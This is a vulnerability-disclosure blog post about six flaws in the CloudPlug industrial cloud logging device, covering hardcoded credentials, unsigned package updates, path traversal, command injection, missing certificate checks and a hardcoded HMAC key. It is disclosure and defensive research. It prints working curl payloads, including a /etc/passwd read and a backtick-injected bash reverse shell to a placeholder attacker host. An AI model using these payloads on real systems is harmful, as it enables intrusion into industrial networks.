In this blog post, we examine six vulnerabilities that we have found in the CloudPlug, a device that collects logs from ICS/SCADA networks and pushes them to the cloud. Our examination of this device was part of a larger penetration testing engagement; however, since it could be critical to pivoting into the OT network, our team focused on its attack surface with particular interest.

Devices such as the CloudPlug are part of the industry’s sometimes controversial initiatives to converge IT and OT. The concept of the CloudPlug – to push logs out to the cloud rather than let external devices into the OT network – can be beneficial to security; however, security on that device needs to be that much more important. Once notified, the vendor rapidly patched up the vulnerabilities and pushed them out via their update channel.

We hope this post provides some insight into the attack surface you may need to consider if you are investigating the possibility of adding remote monitoring to your OT network.

What is a CloudPlug and how does it work?

The premise behind CloudPlug is fairly simple: it is designed to capture data and centralize it to a cloud environment such as Google Cloud, Azure, private clouds or hybrid clouds. It can interact with industrial devices using variety of protocols such as CAN, Profibus, M-Bus, and more.

It’s a modular, low-cost device that costs around 300 euros; one benefit of its use is that you don’t necessarily need to set up any complex networking equipment to centralize your data.

Here’s what the network setup looks like, in a nutshell:

In addition to the various interfaces used for interacting with PLC’s, the CloudPlug also has web and SSH interfaces. The web interface will also be referred to in this article as the “WebGUI”.

To set up a CloudPlug, technicians will connect the CloudPlug to a network with an internet uplink, connect PLC’s to be monitored using the appropriate interfaces, and then register the device with their cloud. Once registered, the CloudPlug’s configuration can be altered from the cloud. This includes settings such as the frequency with which the CloudPlug pushes information, buffer sizes, and various URL’s for connecting and updating the device.

What are the vulnerabilities?

CVE-2020-24042: Guessable and hardcoded passwords

We found that both the SSH and HTTP interfaces had hardcoded passwords embedded in them. This is a classic pitfall which we nonetheless encounter regularly. Many products address this issue by having the user set the password during the installation process; a less secure but not completely unreasonable alternative is to set the password of the device to be something like its serial number – provided that you don’t disclose the serial number in any unauthenticated interface, this at least requires you to have physical access to the device.

One should note that there is a regular set of SSH and HTTP credentials that the user can easily change. However, there is also a vendor account (which we assume is for support) whose password was hardcoded in the lighttpd configuration file and was a single lowercase word that was related to the manufacturer. One should note that even if an administrator deletes this password, it gets recreated if the device is reset or if the package is upgraded.

Package manager does not verify integrity (no CVE)

The CloudPlug is essentially a lightweight ARM computer. As such, it is not particularly surprising that it runs on a Linux operating system – in this case, the vendor used yocto to create a Debian-based distribution. However, the package manager of the CloudPlug device (apt) is configured to accept updates without verifying the integrity of its sources. By default, apt verifies the PGP signatures of install packages, which is how it knows that a package comes from a legitimate source and has not been tampered with. In this case, however, verification had been disabled.

As a result, an unauthenticated attacker under man-in-the-middle conditions could modify packages and therefore gain remote access to the CloudPlug device. It’s worth noting that the package manager emits warnings; however, as these are warnings the update scripts do not take these into account.

It’s also worth noting that the CloudPlug’s software is freely accessible on the vendor’s APT repository, making it simple to analyze and reverse-engineer packages or create backdoored versions of them. This is not unusual: most repositories are publicly accessible so that devices can download packages as needed. The repository URL is easy to guess or, if the user possesses a CloudPlug device, obtaining it from the configuration files is trivial.

CloudPlug Web GUI running as root (No CVE)

The CloudPlug WebGUI runs under the root account, which grants the user full privileges on the system. If an attacker does gain access to these interfaces, there are no countermeasures that would prevent the attacker from fully exploiting the device and pivoting into the rest of the network.

CVE-2020-24043: Insecure Web scripts lead to information leakage and code execution

The CloudPlug uses CGI scripts to help administer the device via the web interface. These are contained in the webconf package of the repository. The full list of scripts is as follows:

• base
• canopen
• generic
• log
• navigation
• network
• ntp
• password
• process
• shutdown
• smbtest
• sshkey
• update

These scripts do not perform validation on input – consequently, it is possible to read (and write) arbitrary files in the CloudPlug’s filesystem and execute arbitrary code on the CloudPlug. The scripts do require authentication; however, CVE-2020-24042 makes exploitation simpler.

For example, generic reads or writes a configuration file; the script does not validate the path of the file, so one can use this script to read – or write – the /etc/passwd file. This can be done with a one-line bash script:

• Read /etc/passwd: curl http://user:[email protected]/bin/generic?file=/etc/passwd
• Write /tmp/file: curl http://user:[email protected]/bin/generic?file=/tmp/file --data 'This is a test'

Similarly, the log script allows an attacker to read the contents of an arbitrary file.

Another issue is command injection. As its name indicates, the smbtest script tests the connection between a CloudPlug device and a samba share. It does this using the smbclient, providing it with parameters supplied by the user without any validation. As such, one can use the backtick to execute shell commands.

For example, a GET request to this URL would ping victim.com three times:

curl "http://DEFAULT-USER:[email protected]/bin/smbtest?sharename=`ping%20-c3%20victim.com`&samba_share=xxx&user=notimportant&password=notimportant"

Given that 1) there are default vendor credentials in the web interface and 2) the web application is running with root permissions, this vulnerability grants the attacker total control over the device.

CVE-2020-24044: CloudPlug does not validate the Cloud Portal SSL certificate

When the CloudPlug connects to the portal to communicate information and obtain actions (opcuaConnector), it does not check the validity of the portal’s SSL certificate. As a result, man-in-the-middle attacks are trivial, even if the user goes through the trouble of correctly configuring valid HTTPS-protected portals.

CVE-2020-24041: Hardcoded HMAC key used for Cloud Portal authentication

The CloudPlug uses a binary called opcuaConnector for communications to the portal and to internal devices. This binary uses a hard-coded HMAC key for authenticating content to the portal. While it is not possible to access all elements of the portal with this authentication mechanism, an attacker can nonetheless falsify information reported to the portal using the information acquired from any generic CloudPlug.

The hardcoded key can be easily recognized by reverse engineering the Hmac function or by running the strings command (with a length of 32 characters, HMAC 256 expects a 32 bytes key, this return 30 lines with one numeric only which is the key):

strings opcuaConnector | grep '^.\{32\}$'

How do these vulnerabilities affect security?

If an attacker can gain control of the cloud environment, they can use a combination of these vulnerabilities to gain access to the CloudPlug. For instance, here is one scenario that worked for us and that uses three vulnerabilities:

If an attacker has managed to gain control of the cloud environment via a phishing attack or by guessing a victim’s password, it is possible to tweak the device’s configuration to open a shell by pointing the configuration’s update URL property to a local CGI script that has a command injection vulnerability. This also relies on the default credentials of the HTTP interface:

{"connector":[{"name":"google","baseUrl":"https://LEGITIMATE-CLOUD-SITE"}],"minInterval":"5","localBufferSizeMB":"750","updateUrl":
"http://DEFAULT-USER:[email protected]/bin/smbtest?sharename=`echo%20-e%20'bash%20-i%20>\\\\x26%20/dev/tcp/REMOTE-IP/REMOTE-PORT%200>\\\\x261'>/var/volatile/test;sh%20/var/volatile/test`&samba_share=xxx&user=notimportant&password=notimportant","format":{"
type":"2","interval":"1000"}}

It’s evident that the sharename parameter makes use of the backtick (`) to create a reverse shell. It takes advantage of the special/dev/tcp file to pipe input and output to a remote host of the attacker’s choice. This is a typical trick that is well documented here. Finally, this attack grants the attacker root access to the CloudPlug device because the web server is running as root; the attacker is free to set up any persistence and pivot through the industrial environment.

This is one of several possible scenarios. For instance, by performing a DNS cache poisoning attack on the CloudPlug, one can trick it into downloading rigged packages with backdoors in them. In this scenario, it would not be necessary to have access to the cloud environment.

Outcome

• November 20, 2019: The vendor was notified of the vulnerabilities via e-mail contact.
• November 20, 2019 – December 10, 2019: communication of details and Q & A between the vendor and Kudelski Security.
• February 21, 2020: Follow-up and request to delay public disclosure 1 month.
• March 5, 2020: Confirmation of disclosure from the vendor, begin CVE process.

Shout-outs

We’d like to thank Sotec Software for their responsiveness and support during the disclosure process; our interactions were pleasant and professional, and it was clear that the team had genuine interest in keeping their products secure.